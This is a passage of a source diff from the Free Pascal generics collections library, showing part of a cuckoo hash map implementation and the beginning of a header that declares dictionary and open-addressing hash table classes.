+ LNewItem.Hash := (LHashList[1] and not CUCKOO_SIGN) or (b shl CUCKOO_INDEX_SIZE) or UInt32.GetSignMask; + // y := True; // always true in this place + end; + end; + end; + if y then + FQueue.InsertIntoHead(@LNewItem); +end; + +procedure TDeamortizedDArrayCuckooMap<CUCKOO_CONSTRAINTS>.DoAdd(const AKey: TKey; const AValue: TValue; + const AHashList: PUInt32); +begin + AddItem(FItems, AKey, AValue, AHashList); + Inc(FItemsLength); + KeyNotify(AKey, cnAdded); + ValueNotify(AValue, cnAdded); +end; + +procedure TDeamortizedDArrayCuckooMap<CUCKOO_CONSTRAINTS>.Add(constref AKey: TKey; constref AValue: TValue); +var + LHashList: array[0..TCuckooCfg.D] of UInt32; + LHashListOrIndex: PUint32; +begin + PrepareAddingItem; + LHashListOrIndex := @LHashList[0]; + if Lookup(AKey, LHashListOrIndex) <> LR_NIL then + raise EListError.CreateRes(@SDuplicatesNotAllowed); + + DoAdd(AKey, AValue, LHashListOrIndex); +end; + +procedure TDeamortizedDArrayCuckooMap<CUCKOO_CONSTRAINTS>.Add(constref APair: TPair<TKey, TValue>); +begin + Add(APair.Key, APair.Value); +end; + +function TDeamortizedDArrayCuckooMap<CUCKOO_CONSTRAINTS>.DoRemove(const AHashListOrIndex: PUInt32; + ALookupResult: SizeInt; ACollectionNotification: TCollectionNotification): TValue; +var + LItem: PItem; + LIndex: UInt32; + LQueueIndex: SizeInt absolute AHashListOrIndex; + LPair: TPair<TKey, TValue>; +begin + case ALookupResult of + LR_QUEUE: + LPair := FQueue.FItems[LQueueIndex].Pair.Value.Pair; + LR_NIL: + raise ERangeError.Create(SItemNotFound); + else + LIndex := AHashListOrIndex[ALookupResult + 1] and (Length(FItems[0]) - 1); + LItem := @FItems[ALookupResult][LIndex]; + LItem.Hash := 0; + LPair := LItem.Pair; + LItem.Pair := Default(TPair<TKey, TValue>); + end; + + Result := LPair.Value; + Dec(FItemsLength); + if ALookupResult = LR_QUEUE then + begin + FQueue.FIdx.Remove(LQueueIndex); + FQueue.DoRemove(LQueueIndex, cnRemoved); + end; + + FCDM.Remove(LPair.Key); // item can exist in CDM + + PairNotify(LPair, ACollectionNotification); +end; + +procedure TDeamortizedDArrayCuckooMap<CUCKOO_CONSTRAINTS>.Remove(constref AKey: TKey); +var + LHashList: array[0..TCuckooCfg.D] of UInt32; + LHashListOrIndex: PUint32; + LLookupResult: SizeInt; +begin + LHashListOrIndex := @LHashList[0]; + LLookupResult := Lookup(AKey, LHashListOrIndex); + if LLookupResult = LR_NIL then + Exit; + + DoRemove(LHashListOrIndex, LLookupResult, cnRemoved); +end; + +function TDeamortizedDArrayCuckooMap<CUCKOO_CONSTRAINTS>.ExtractPair(constref AKey: TKey): TPair<TKey, TValue>; +var + LHashList: array[0..TCuckooCfg.D] of UInt32; + LHashListOrIndex: PUint32; + LLookupResult: SizeInt; +begin + LHashListOrIndex := @LHashList[0]; + LLookupResult := Lookup(AKey, LHashListOrIndex); + if LLookupResult = LR_NIL then + Exit(Default(TPair<TKey, TValue>)); + + Result.Key := AKey; + Result.Value := DoRemove(LHashListOrIndex, LLookupResult, cnExtracted); +end; + +procedure TDeamortizedDArrayCuckooMap<CUCKOO_CONSTRAINTS>.Clear; +var + LItem: PItem; + i, j: SizeInt; + LOldItems: TItemsDArray; + LOldQueueItems: TQueueDictionary.TItemsArray; + LQueueItem: TQueueDictionary._TItem; +begin + FItemsLength := 0; + FItemsThreshold := 0; + LOldItems := FItems; + for i := 0 to TCuckooCfg.D - 1 do + FItems[i] := nil; + + for i := 0 to TCuckooCfg.D - 1 do + begin + for j := 0 to High(LOldItems[0]) do + begin + LItem := @LOldItems[i][j]; + if (LItem.Hash and UInt32.GetSignMask <> 0) then + PairNotify(LItem.Pair, cnRemoved); + end; + end; + + FCDM.Clear; + + // queue + FQueue.FItemsLength := 0; + FQueue.FItemsThreshold := 0; + LOldQueueItems := FQueue.FItems; + FQueue.FItems := nil; + + for i := 0 to High(LOldQueueItems) do + begin + LQueueItem := TQueueDictionary._TItem(LOldQueueItems[i]); + if (LQueueItem.Hash and UInt32.GetSignMask = 0) then + Continue; + + PairNotify(LQueueItem.Pair.Value.Pair, cnRemoved); + end; +end; + +procedure TDeamortizedDArrayCuckooMap<CUCKOO_CONSTRAINTS>.Rehash(ASizePow2: SizeInt); +var + LNewItems: TItemsDArray; + i, j: SizeInt; + LItem: PItem; + LOldQueue: TQueueDictionary; +var + LHashList: array[0..1] of UInt32; + LHashListParams: array[0..3] of Int16 absolute LHashList; +begin + if ASizePow2 = Length(FItems[0]) then + Exit; + if ASizePow2 < 0 then + OutOfMemoryError; + + for i := 0 to TCuckooCfg.D - 1 do + SetLength(LNewItems[i], ASizePow2); + + LHashListParams[0] := -1; + + // opportunity to clear the queue + LOldQueue := FQueue; + FCDM.Clear; + FQueue := TQueueDictionary.Create; + for i := 0 to LOldQueue.FIdx.Count - 1 do + begin + LItem := @LOldQueue.FItems[LOldQueue.FIdx[i]].Pair.Value; + LHashList[1] := FEqualityComparer.GetHashCode(LItem.Pair.Key); + AddItem(LNewItems, LItem.Pair.Key, LItem.Pair.Value, @LHashList[0]); + end; + LOldQueue.Free; + + // copy the old elements + for i := 0 to TCuckooCfg.D - 1 do + for j := 0 to High(FItems[0]) do + begin + LItem := @FItems[i][j]; + if (LItem.Hash and UInt32.GetSignMask) = 0 then + Continue; + + // small optimization. most of items exist in table 0 + if LItem.Hash and CUCKOO_HASH_SIGN = 0 then + begin + LHashList[1] := LItem.Hash; + AddItem(LNewItems, LItem.Pair.Key, LItem.Pair.Value, @LHashList[0]); + end + else + begin + LHashList[1] := FEqualityComparer.GetHashCode(LItem.Pair.Key); + AddItem(LNewItems, LItem.Pair.Key, LItem.Pair.Value, @LHashList[0]); + end; + end; + + FItems := LNewItems; + UpdateItemsThreshold(ASizePow2); +end; + +function TDeamortizedDArrayCuckooMap<CUCKOO_CONSTRAINTS>.DoGetEnumerator: TEnumerator<TDictionaryPair>; +begin + Result := GetEnumerator; +end; + +procedure TDeamortizedDArrayCuckooMap<CUCKOO_CONSTRAINTS>.SetCapacity(ACapacity: SizeInt); +begin + if ACapacity < FItemsLength then + raise EArgumentOutOfRangeException.CreateRes(@SArgumentOutOfRange); + + Resize(ACapacity); +end; + +procedure TDeamortizedDArrayCuckooMap<CUCKOO_CONSTRAINTS>.SetMaxLoadFactor(AValue: single); +var + LItemsLength: SizeInt; +begin + if (AValue > TCuckooCfg.MAX_LOAD_FACTOR) or (AValue <= 0) then + raise EArgumentOutOfRangeException.CreateRes(@SArgumentOutOfRange); + + FMaxLoadFactor := AValue; + + repeat + LItemsLength := Length(FItems[0]); + UpdateItemsThreshold(LItemsLength); + if FItemsLength > FItemsThreshold then + Rehash(LItemsLength shl 1); + until FItemsLength <= FItemsThreshold; +end; + +function TDeamortizedDArrayCuckooMap<CUCKOO_CONSTRAINTS>.GetLoadFactor: single; +begin + Result := FItemsLength / (Length(FItems[0]) * TCuckooCfg.D); +end; + +function TDeamortizedDArrayCuckooMap<CUCKOO_CONSTRAINTS>.GetCapacity: SizeInt; +begin + Result := Length(FItems[0]) * TCuckooCfg.D; +end; + +procedure TDeamortizedDArrayCuckooMap<CUCKOO_CONSTRAINTS>.Resize(ANewSize: SizeInt); +var + LNewSize: SizeInt; +begin + if ANewSize < 0 then + raise EArgumentOutOfRangeException.CreateRes(@SArgumentOutOfRange); + + LNewSize := 0; + if ANewSize > 0 then + begin + LNewSize := 4; + while LNewSize * TCuckooCfg.D < ANewSize do + LNewSize := LNewSize shl 1; + end; + + Rehash(LNewSize); +end; + +function TDeamortizedDArrayCuckooMap<CUCKOO_CONSTRAINTS>.GetEnumerator: TPairEnumerator; +begin + Result := TPairEnumerator.Create(Self); +end; + +function TDeamortizedDArrayCuckooMap<CUCKOO_CONSTRAINTS>.GetItem(const AKey: TKey): TValue; +var + LHashList: array[0..TCuckooCfg.D] of UInt32; + LHashListOrIndex: PUint32; + LLookupResult: SizeInt; + LIndex: UInt32; +begin + LHashListOrIndex := @LHashList[0]; + LLookupResult := Lookup(AKey, LHashListOrIndex); + + case LLookupResult of + LR_QUEUE: + Result := FQueue.FItems[PtrInt(LHashListOrIndex)].Pair.Value.Pair.Value; + LR_NIL: + raise EListError.CreateRes(@SDictionaryKeyDoesNotExist); + else + LIndex := LHashListOrIndex[LLookupResult + 1] and (Length(FItems[0]) - 1); + Result := FItems[LLookupResult][LIndex].Pair.Value; + end; +end; + +procedure TDeamortizedDArrayCuckooMap<CUCKOO_CONSTRAINTS>.TrimExcess; +begin + SetCapacity(Succ(FItemsLength)); + FQueue.TrimExcess; + FQueue.FIdx.TrimExcess; +end; + +procedure TDeamortizedDArrayCuckooMap<CUCKOO_CONSTRAINTS>.SetItem(constref AValue: TValue; + const AHashListOrIndex: PUInt32; ALookupResult: SizeInt); +var + LIndex: UInt32; +begin + case ALookupResult of + LR_QUEUE: + SetValue(FQueue.FItems[PtrInt(AHashListOrIndex)].Pair.Value.Pair.Value, AValue); + LR_NIL: + raise EListError.CreateRes(@SItemNotFound); + else + LIndex := AHashListOrIndex[ALookupResult + 1] and (Length(FItems[0]) - 1); + SetValue(FItems[ALookupResult][LIndex].Pair.Value, AValue); + end; +end; + +procedure TDeamortizedDArrayCuckooMap<CUCKOO_CONSTRAINTS>.SetItem(const AKey: TKey; const AValue: TValue); +var + LHashList: array[0..TCuckooCfg.D] of UInt32; + LHashListOrIndex: PUint32; + LLookupResult: SizeInt; +begin + LHashListOrIndex := @LHashList[0]; + LLookupResult := Lookup(AKey, LHashListOrIndex); + + SetItem(AValue, LHashListOrIndex, LLookupResult); +end; + +function TDeamortizedDArrayCuckooMap<CUCKOO_CONSTRAINTS>.TryGetValue(constref AKey: TKey; out AValue: TValue): Boolean; +var + LHashList: array[0..TCuckooCfg.D] of UInt32; + LHashListOrIndex: PUint32; + LLookupResult: SizeInt; + LIndex: UInt32; +begin + LHashListOrIndex := @LHashList[0]; + LLookupResult := Lookup(AKey, LHashListOrIndex); + + Result := LLookupResult <> LR_NIL; + + case LLookupResult of + LR_QUEUE: + AValue := FQueue.FItems[PtrInt(LHashListOrIndex)].Pair.Value.Pair.Value; + LR_NIL: + AValue := Default(TValue); + else + LIndex := LHashListOrIndex[LLookupResult + 1] and (Length(FItems[0]) - 1); + AValue := FItems[LLookupResult][LIndex].Pair.Value; + end; +end; + +procedure TDeamortizedDArrayCuckooMap<CUCKOO_CONSTRAINTS>.AddOrSetValue(constref AKey: TKey; constref AValue: TValue); +var + LHashList: array[0..TCuckooCfg.D] of UInt32; + LHashListOrIndex: PUint32; + LLookupResult: SizeInt; +begin + LHashListOrIndex := @LHashList[0]; + LLookupResult := Lookup(AKey, LHashListOrIndex); + + if LLookupResult = LR_NIL then + Add(AKey, AValue) + // more optimal version for AddOrSetValue has some bug : see Test_CuckooD2_Notification + //begin + // PrepareAddingItem; + // DoAdd(AKey, AValue, LHashListOrIndex); + //end + else + SetItem(AValue, LHashListOrIndex, LLookupResult); +end; + +function TDeamortizedDArrayCuckooMap<CUCKOO_CONSTRAINTS>.ContainsKey(constref AKey: TKey): Boolean; +var + LHashList: array[0..TCuckooCfg.D] of UInt32; + LHashListOrIndex: PUint32; +begin + LHashListOrIndex := @LHashList[0]; + Result := Lookup(AKey, LHashListOrIndex) <> LR_NIL; +end; + +function TDeamortizedDArrayCuckooMap<CUCKOO_CONSTRAINTS>.ContainsValue(constref AValue: TValue): Boolean; +begin + Result := ContainsValue(AValue, TEqualityComparer<TValue>.Default(THashFactory)); +end; + +function TDeamortizedDArrayCuckooMap<CUCKOO_CONSTRAINTS>.ContainsValue(constref AValue: TValue; + const AEqualityComparer: IEqualityComparer<TValue>): Boolean; +var + i, j: SizeInt; + LItem: PItem; +begin + if Length(FItems[0]) = 0 then + Exit(False); + + for i := 0 to TCuckooCfg.D - 1 do + for j := 0 to High(FItems[0]) do + begin + LItem := @FItems[i][j]; + if (LItem.Hash and UInt32.GetSignMask) = 0 then + Continue; + + if AEqualityComparer.Equals(AValue, LItem.Pair.Value) then + Exit(True); + end; + Result := False; +end; + +procedure TDeamortizedDArrayCuckooMap<CUCKOO_CONSTRAINTS>.GetMemoryLayout( + const AOnGetMemoryLayoutKeyPosition: TOnGetMemoryLayoutKeyPosition); +var + i, j, k: SizeInt; +begin + k := 0; + for i := 0 to TCuckooCfg.D - 1 do + for j := 0 to High(FItems[0]) do + begin + if FItems[i][j].Hash and UInt32.GetSignMask <> 0 then + AOnGetMemoryLayoutKeyPosition(Self, k); + inc(k); + end; +end; + +{ TDeamortizedDArrayCuckooMap<CUCKOO_CONSTRAINTS>.TPairEnumerator } + +function TDeamortizedDArrayCuckooMap<CUCKOO_CONSTRAINTS>.TPairEnumerator.GetCurrent: TPair<TKey, TValue>; +begin + if FMainIndex = TCuckooCfg.D then + Result := TDeamortizedDArrayCuckooMap<CUCKOO_CONSTRAINTS>(FDictionary).FQueue.FItems[FIndex].Pair.Value.Pair + else + Result := TDeamortizedDArrayCuckooMap<CUCKOO_CONSTRAINTS>(FDictionary).FItems[FMainIndex][FIndex].Pair; +end; + +{ TDeamortizedDArrayCuckooMap<CUCKOO_CONSTRAINTS>.TValueEnumerator } + +function TDeamortizedDArrayCuckooMap<CUCKOO_CONSTRAINTS>.TValueEnumerator.GetCurrent: TValue; +begin + if FMainIndex = TCuckooCfg.D then + Result := TDeamortizedDArrayCuckooMap<CUCKOO_CONSTRAINTS>(FDictionary).FQueue.FItems[FIndex].Pair.Value.Pair.Value + else + Result := TDeamortizedDArrayCuckooMap<CUCKOO_CONSTRAINTS>(FDictionary).FItems[FMainIndex][FIndex].Pair.Value; +end; + +{ TDeamortizedDArrayCuckooMap<CUCKOO_CONSTRAINTS>.TPValueEnumerator } + +function TDeamortizedDArrayCuckooMap<CUCKOO_CONSTRAINTS>.TPValueEnumerator.GetCurrent: PValue; +begin + if FMainIndex = TCuckooCfg.D then + Result := @(TDeamortizedDArrayCuckooMap<CUCKOO_CONSTRAINTS>(FDictionary).FQueue.FItems[FIndex].Pair.Value.Pair.Value) + else + Result := @(TDeamortizedDArrayCuckooMap<CUCKOO_CONSTRAINTS>(FDictionary).FItems[FMainIndex][FIndex].Pair.Value); +end; + +{ TDeamortizedDArrayCuckooMap<CUCKOO_CONSTRAINTS>.TKeyEnumerator } + +function TDeamortizedDArrayCuckooMap<CUCKOO_CONSTRAINTS>.TKeyEnumerator.GetCurrent: TKey; +begin + if FMainIndex = TCuckooCfg.D then + Result := TDeamortizedDArrayCuckooMap<CUCKOO_CONSTRAINTS>(FDictionary).FQueue.FItems[FIndex].Pair.Value.Pair.Key + else + Result := TDeamortizedDArrayCuckooMap<CUCKOO_CONSTRAINTS>(FDictionary).FItems[FMainIndex][FIndex].Pair.Key; +end; + +{ TDeamortizedDArrayCuckooMap<CUCKOO_CONSTRAINTS>.TPKeyEnumerator } + +function TDeamortizedDArrayCuckooMap<CUCKOO_CONSTRAINTS>.TPKeyEnumerator.GetCurrent: TKey; +begin + if FMainIndex = TCuckooCfg.D then + Result := @(TDeamortizedDArrayCuckooMap<CUCKOO_CONSTRAINTS>(FDictionary).FQueue.FItems[FIndex].Pair.Value.Pair.Key) + else + Result := @(TDeamortizedDArrayCuckooMap<CUCKOO_CONSTRAINTS>(FDictionary).FItems[FMainIndex][FIndex].Pair.Key); +end; + +{ TObjectDictionary<DICTIONARY_CONSTRAINTS> } + +procedure TObjectDeamortizedDArrayCuckooMap<CUCKOO_CONSTRAINTS>.KeyNotify( + constref AKey: TKey; ACollectionNotification: TCollectionNotification); +begin + inherited; + + if (doOwnsKeys in FOwnerships) and (ACollectionNotification = cnRemoved) then + TObject((@AKey)^).Free; +end; + +procedure TObjectDeamortizedDArrayCuckooMap<CUCKOO_CONSTRAINTS>.ValueNotify(constref AValue: TValue; + ACollectionNotification: TCollectionNotification); +begin + inherited; + + if (doOwnsValues in FOwnerships) and (ACollectionNotification = cnRemoved) then + TObject((@AValue)^).Free; +end; + +constructor TObjectDeamortizedDArrayCuckooMap<CUCKOO_CONSTRAINTS>.Create( + AOwnerships: TDictionaryOwnerships); +begin + Create(AOwnerships, 0); +end; + +constructor TObjectDeamortizedDArrayCuckooMap<CUCKOO_CONSTRAINTS>.Create( + AOwnerships: TDictionaryOwnerships; ACapacity: SizeInt); +begin + inherited Create(ACapacity); + + FOwnerships := AOwnerships; +end; + +constructor TObjectDeamortizedDArrayCuckooMap<CUCKOO_CONSTRAINTS>.Create( + AOwnerships: TDictionaryOwnerships; const AComparer: IExtendedEqualityComparer<TKey>); +begin + inherited Create(AComparer); + + FOwnerships := AOwnerships; +end; + +constructor TObjectDeamortizedDArrayCuckooMap<CUCKOO_CONSTRAINTS>.Create( + AOwnerships: TDictionaryOwnerships; ACapacity: SizeInt; const AComparer: IExtendedEqualityComparer<TKey>); +begin + inherited Create(ACapacity, AComparer); + + FOwnerships := AOwnerships; +end; + +procedure TObjectOpenAddressingLP<OPEN_ADDRESSING_CONSTRAINTS>.KeyNotify( + constref AKey: TKey; ACollectionNotification: TCollectionNotification); +begin + inherited; + + if (doOwnsKeys in FOwnerships) and (ACollectionNotification = cnRemoved) then + TObject((@AKey)^).Free; +end; + +procedure TObjectOpenAddressingLP<OPEN_ADDRESSING_CONSTRAINTS>.ValueNotify( + constref AValue: TValue; ACollectionNotification: TCollectionNotification); +begin + inherited; + + if (doOwnsValues in FOwnerships) and (ACollectionNotification = cnRemoved) then + TObject((@AValue)^).Free; +end; + +constructor TObjectOpenAddressingLP<OPEN_ADDRESSING_CONSTRAINTS>.Create(AOwnerships: TDictionaryOwnerships); +begin + Create(AOwnerships, 0); +end; + +constructor TObjectOpenAddressingLP<OPEN_ADDRESSING_CONSTRAINTS>.Create(AOwnerships: TDictionaryOwnerships; + ACapacity: SizeInt); +begin + inherited Create(ACapacity); + + FOwnerships := AOwnerships; +end; + +constructor TObjectOpenAddressingLP<OPEN_ADDRESSING_CONSTRAINTS>.Create(AOwnerships: TDictionaryOwnerships; + const AComparer: IEqualityComparer<TKey>); +begin + inherited Create(AComparer); + + FOwnerships := AOwnerships; +end; + +constructor TObjectOpenAddressingLP<OPEN_ADDRESSING_CONSTRAINTS>.Create(AOwnerships: TDictionaryOwnerships; + ACapacity: SizeInt; const AComparer: IEqualityComparer<TKey>); +begin + inherited Create(ACapacity, AComparer); + + FOwnerships := AOwnerships; +end; diff --git a/Core/generics_collections/src/inc/generics.dictionariesh.inc b/Core/generics_collections/src/inc/generics.dictionariesh.inc new file mode 100755 index 0000000..a919b00 --- /dev/null +++ b/Core/generics_collections/src/inc/generics.dictionariesh.inc @@ -0,0 +1,655 @@ +{%MainUnit generics.collections.pas} + +{ + This file is part of the Free Pascal/NewPascal run time library. + Copyright (c) 2014 by Maciej Izak (hnb) + member of the NewPascal development team (http://newpascal.org) + + Copyright(c) 2004-2018 DaThoX + + It contains the generics collections library + + See the file COPYING.FPC, included in this distribution, + for details about the copyright. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. + + Acknowledgment + + Thanks to Sphere 10 Software (http://sphere10.com) for sponsoring + many new types and major refactoring of entire library + + Thanks to mORMot (http://synopse.info) project for the best implementations + of hashing functions like crc32c and xxHash32 :) + + **********************************************************************} + +{$WARNINGS OFF} +type + TEmptyRecord = record // special record for Dictionary TValue (Dictionary as Set) + end; + + { TPair } + + TPair<TKey, TValue> = record + public + Key: TKey; + Value: TValue; + class function Create(AKey: TKey; AValue: TValue): TPair<TKey, TValue>; static; + end; + + { TCustomDictionary } + + // bug #24283 and #24097 (forward declaration) - should be: + // TCustomDictionary<CUSTOM_DICTIONARY_CONSTRAINTS> = class(TEnumerable<TPair<TKey, TValue> >); + TCustomDictionary<CUSTOM_DICTIONARY_CONSTRAINTS> = class abstract + public type + // workaround... no generics types in generics types + TDictionaryPair = TPair<TKey, TValue>; + PDictionaryPair = ^TDictionaryPair; + PKey = ^TKey; + PValue = ^TValue; + THashFactoryClass = THashFactory; + protected + FEqualityComparer: IEqualityComparer<TKey>; + FKeys: TEnumerable<TKey>; + FValues: TEnumerable<TValue>; + FMaxLoadFactor: single; + protected + procedure SetCapacity(ACapacity: SizeInt); virtual; abstract; + // bug #24283. workaround for this class because can't inherit from TEnumerable + function DoGetEnumerator: TEnumerator<TDictionaryPair>; virtual; abstract; {override;} + + procedure SetMaxLoadFactor(AValue: single); virtual; abstract; + function GetLoadFactor: single; virtual; abstract; + function GetCapacity: SizeInt; virtual; abstract; + public + property MaxLoadFactor: single read FMaxLoadFactor write SetMaxLoadFactor; + property LoadFactor: single read GetLoadFactor; + property Capacity: SizeInt read GetCapacity write SetCapacity; + + procedure Clear; virtual; abstract; + procedure Add(constref APair: TPair<TKey, TValue>); virtual; abstract; + strict private // bug #24283. workaround for this class because can't inherit from TEnumerable + function ToArray(ACount: SizeInt): TArray<TDictionaryPair>; overload; + public + function ToArray: TArray<TDictionaryPair>; virtual; final; {override; final; // bug #24283} overload; + + constructor Create; virtual; overload; + constructor Create(ACapacity: SizeInt); virtual; overload; + constructor Create(ACapacity: SizeInt; const AComparer: IEqualityComparer<TKey>); virtual; overload; + constructor Create(const AComparer: IEqualityComparer<TKey>); overload; + constructor Create(ACollection: TEnumerable<TDictionaryPair>); virtual; overload; + constructor Create(ACollection: TEnumerable<TDictionaryPair>; const AComparer: IEqualityComparer<TKey>); virtual; overload; + {$IFDEF ENABLE_METHODS_WITH_TEnumerableWithPointers} + constructor Create(ACollection: TEnumerableWithPointers<TDictionaryPair>); virtual; overload; + constructor Create(ACollection: TEnumerableWithPointers<TDictionaryPair>; const AComparer: IEqualityComparer<TKey>); virtual; overload; + {$ENDIF} + + destructor Destroy; override; + private + FOnKeyNotify: TCollectionNotifyEvent<TKey>; + FOnValueNotify: TCollectionNotifyEvent<TValue>; + protected + procedure UpdateItemsThreshold(ASize: SizeInt); virtual; abstract; + + procedure KeyNotify(constref AKey: TKey; ACollectionNotification: TCollectionNotification); virtual; + procedure ValueNotify(constref AValue: TValue; ACollectionNotification: TCollectionNotification); virtual; + procedure PairNotify(constref APair: TDictionaryPair; ACollectionNotification: TCollectionNotification); inline; + procedure SetValue(var AValue: TValue; constref ANewValue: TValue); + public + property OnKeyNotify: TCollectionNotifyEvent<TKey> read FOnKeyNotify write FOnKeyNotify; + property OnValueNotify: TCollectionNotifyEvent<TValue> read FOnValueNotify write FOnValueNotify; + protected // FItemsLength must be declared at the end of TCustomDictionary + FItemsLength: SizeInt; + public + property Count: SizeInt read FItemsLength; + end; + + { TCustomDictionaryEnumerator } + + TCustomDictionaryEnumerator<T, CUSTOM_DICTIONARY_CONSTRAINTS> = class abstract(TEnumerator< T >) + private + FDictionary: TCustomDictionary<CUSTOM_DICTIONARY_CONSTRAINTS>; + FIndex: SizeInt; + protected + function DoGetCurrent: T; override; + function GetCurrent: T; virtual; abstract; + public + constructor Create(ADictionary: TCustomDictionary<CUSTOM_DICTIONARY_CONSTRAINTS>); + end; + + { TDictionaryEnumerable } + + TDictionaryEnumerable<TDictionaryEnumerator: TObject; TDictionaryPointersEnumerator, // ... inherits from TCustomDictionaryEnumerator. workaround... + T, CUSTOM_DICTIONARY_CONSTRAINTS> = class abstract(TEnumerableWithPointers<T>) + private + FDictionary: TCustomDictionary<CUSTOM_DICTIONARY_CONSTRAINTS>; + function GetCount: SizeInt; + protected + function GetPtrEnumerator: TEnumerator<PT>; override; + function DoGetEnumerator: TDictionaryEnumerator; override; + public + constructor Create(ADictionary: TCustomDictionary<CUSTOM_DICTIONARY_CONSTRAINTS>); + function ToArray: TArray<T>; override; final; + property Count: SizeInt read GetCount; + end; + + // more info : http://en.wikipedia.org/wiki/Open_addressing + + { TOpenAddressingEnumerator } + + TOpenAddressingEnumerator<T, OPEN_ADDRESSING_CONSTRAINTS> = class abstract(TCustomDictionaryEnumerator<T, CUSTOM_DICTIONARY_CONSTRAINTS>) + protected + function DoMoveNext: Boolean; override; + end; + + TOpenAddressingPointersEnumerator<TItem, PDictionaryPair> = class abstract(TEnumerator<PDictionaryPair>) + private var + FItems: ^TArray<TItem>; + FIndex: SizeInt; + protected + function DoMoveNext: boolean; override; + function DoGetCurrent: PDictionaryPair; override; + function GetCurrent: PDictionaryPair; virtual; + public + constructor Create(var AItems); + end; + + TOpenAddressingPointersCollection<TPointersEnumerator, TItem, PDictionaryPair> = record + private type + PArray = ^TArray<TItem>; + function Items: PArray; inline; + function GetCount: SizeInt; inline; + public + function GetEnumerator: TPointersEnumerator; + function ToArray: TArray<PDictionaryPair>; + property Count: SizeInt read GetCount; + end; + + TOnGetMemoryLayoutKeyPosition = procedure(Sender: TObject; AKeyPos: UInt32) of object; + + TOpenAddressing<OPEN_ADDRESSING_CONSTRAINTS> = class abstract(TCustomDictionary<CUSTOM_DICTIONARY_CONSTRAINTS>) + private type + PItem = ^TItem; + TItem = record + Hash: UInt32; + Pair: TPair<TKey, TValue>; + end; + + TItemsArray = array of TItem; + TPointersEnumerator = class(TOpenAddressingPointersEnumerator<TItem, PDictionaryPair>); + TPointersCollection = TOpenAddressingPointersCollection<TPointersEnumerator, TItem, PDictionaryPair>; + public type + PPointersCollection = ^TPointersCollection; + private var // FItems must be declared as first field + FItems: TItemsArray; + FItemsThreshold: SizeInt; + + procedure Resize(ANewSize: SizeInt); + procedure PrepareAddingItem; + protected + function RealItemsLength: SizeInt; virtual; + function Rehash(ASizePow2: SizeInt; AForce: Boolean = False): boolean; virtual; + function FindBucketIndex(constref AKey: TKey): SizeInt; overload; inline; + function FindBucketIndex(constref AItems: TArray<TItem>; constref AKey: TKey; out AHash: UInt32): SizeInt; virtual; abstract; overload; + public + type + // Enumerators + TPairEnumerator = class(TOpenAddressingEnumerator<TDictionaryPair, OPEN_ADDRESSING_CONSTRAINTS>) + protected + function GetCurrent: TPair<TKey,TValue>; override; + end; + + TValueEnumerator = class(TOpenAddressingEnumerator<TValue, OPEN_ADDRESSING_CONSTRAINTS>) + protected + function GetCurrent: TValue; override; + end; + + TPValueEnumerator = class(TOpenAddressingEnumerator<PValue, OPEN_ADDRESSING_CONSTRAINTS>) + protected + function GetCurrent: PValue; override; + end; + + TKeyEnumerator = class(TOpenAddressingEnumerator<TKey, OPEN_ADDRESSING_CONSTRAINTS>) + protected + function GetCurrent: TKey; override; + end; + + TPKeyEnumerator = class(TOpenAddressingEnumerator<PKey, OPEN_ADDRESSING_CONSTRAINTS>) + protected + function GetCurrent: PKey; override; + end; + + // Collections + TValueCollection = class(TDictionaryEnumerable<TValueEnumerator, TPValueEnumerator, TValue, CUSTOM_DICTIONARY_CONSTRAINTS>); + + TKeyCollection = class(TDictionaryEnumerable<TKeyEnumerator, TPKeyEnumerator, TKey, CUSTOM_DICTIONARY_CONSTRAINTS>); + + // bug #24283 - workaround related to lack of DoGetEnumerator + function GetEnumerator: TPairEnumerator; reintroduce; + private + function GetKeys: TKeyCollection; + function GetValues: TValueCollection; + function GetPointers: PPointersCollection; inline; + private + function GetItem(const AKey: TKey): TValue; inline; + procedure SetItem(const AKey: TKey; const AValue: TValue); inline; + procedure AddItem(var AItem: TItem; constref AKey: TKey; constref AValue: TValue; const AHash: UInt32); inline; + protected + // useful for using dictionary as array + function DoRemove(AIndex: SizeInt; ACollectionNotification: TCollectionNotification): TValue; virtual; + function DoAdd(constref AKey: TKey; constref AValue: TValue): SizeInt; virtual; + + procedure UpdateItemsThreshold(ASize: SizeInt); override; + + procedure SetCapacity(ACapacity: SizeInt); override; + // bug #24283 - can't descadent from TEnumerable + function DoGetEnumerator: TEnumerator<TDictionaryPair>; override; + procedure SetMaxLoadFactor(AValue: single); override; + function GetLoadFactor: single; override; + function GetCapacity: SizeInt; override; + public + // many constructors because bug #25607 + constructor Create(ACapacity: SizeInt; const AComparer: IEqualityComparer<TKey>); override; overload; + + procedure Add(constref APair: TPair<TKey, TValue>); override; overload; + procedure Add(constref AKey: TKey; constref AValue: TValue); overload; inline; + procedure Remove(constref AKey: TKey); + function ExtractPair(constref AKey: TKey): TPair<TKey, TValue>; + procedure Clear; override; + procedure TrimExcess; + function TryGetValue(constref AKey: TKey; out AValue: TValue): Boolean; + procedure AddOrSetValue(constref AKey: TKey; constref AValue: TValue); + function ContainsKey(constref AKey: TKey): Boolean; inline; + function ContainsValue(constref AValue: TValue): Boolean; overload; + function ContainsValue(constref AValue: TValue; const AEqualityComparer: IEqualityComparer<TValue>): Boolean; virtual; overload; + + property Items[Index: TKey]: TValue read GetItem write SetItem; default; + property Keys: TKeyCollection read GetKeys; + property Values: TValueCollection read GetValues; + property Ptr: PPointersCollection read GetPointers; + + procedure GetMemoryLayout(const AOnGetMemoryLayoutKeyPosition: TOnGetMemoryLayoutKeyPosition); + end; + + TOpenAddressingLP<OPEN_ADDRESSING_CONSTRAINTS> = class(TOpenAddressing<OPEN_ADDRESSING_CONSTRAINTS>) + private type // for workaround Lazarus bug #25613 + _TItem = record + Hash: UInt32; + Pair: TPair<TKey, TValue>; + end; + protected + procedure NotifyIndexChange(AFrom, ATo: SizeInt); virtual; + function DoRemove(AIndex: SizeInt; ACollectionNotification: TCollectionNotification): TValue; override; + function FindBucketIndex(constref AItems: TArray<TItem>; constref AKey: TKey; out AHash: UInt32): SizeInt; override; overload; + end; + + // More info and TODO + // https://github.com/OpenHFT/UntitledCollectionsProject/wiki/Tombstones-purge-from-hashtable:-theory-and-practice + + TOpenAddressingTombstones<OPEN_ADDRESSING_CONSTRAINTS> = class abstract(TOpenAddressing<OPEN_ADDRESSING_CONSTRAINTS>) + private + FTombstonesCount: SizeInt; + protected + function Rehash(ASizePow2: SizeInt; AForce: Boolean = False): 